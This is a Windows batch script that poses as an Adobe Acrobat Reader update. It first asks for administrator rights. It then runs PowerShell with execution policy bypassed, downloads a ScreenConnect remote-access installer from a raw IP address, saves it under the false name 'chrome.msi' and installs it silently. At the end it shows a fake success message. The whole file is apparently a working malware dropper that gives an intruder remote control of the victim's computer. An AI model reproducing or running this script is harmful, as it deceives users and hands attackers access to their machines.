@echo off
setlocal enabledelayedexpansion

:: =====================================================
::  Installer - Batch File (Admin)
:: =====================================================

:: Check for Administrator privileges
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo.
    echo  Click RUN to Install The Latest Version Of Adobe Acrobat Reader
    echo.
    powershell -Command "Start-Process -Verb RunAs -FilePath '%~f0'"
    exit /b
)

:: Now running as Administrator
cls
echo.
echo  ===================================================
echo   Updating Adobe Acrobat... Please wait...
echo  ===================================================
echo.

:: Execute the installation command
powershell -ExecutionPolicy Bypass -Command ^
    "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; " ^
    "$url = 'http://104.193.195.77:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'; " ^
    "$fileName = 'chrome.msi'; " ^
    "$tempFile = Join-Path $env:TEMP $fileName; " ^
    "$logFile = Join-Path $env:TEMP 'MSI_Install.log'; " ^
    "try { " ^
        "Invoke-WebRequest -Uri $url -OutFile $tempFile -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'; " ^
        "if (Test-Path $tempFile) { " ^
            "Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i', $tempFile, '/quiet', '/norestart', '/log', $logFile -Wait; " ^
            "Remove-Item $tempFile -Force -ErrorAction SilentlyContinue; " ^
        "} " ^
    "} catch { exit 1 }"

if %errorLevel% equ 0 (
    echo.
    echo  Success: Adobe Acrobat has been Updated.
) else (
    echo.
    echo  Error: The installation failed.
    echo  Check the MSI log at %TEMP%\MSI_Install.log for details.
)

echo.
echo  Press any key to close this window.
pause >nul
exit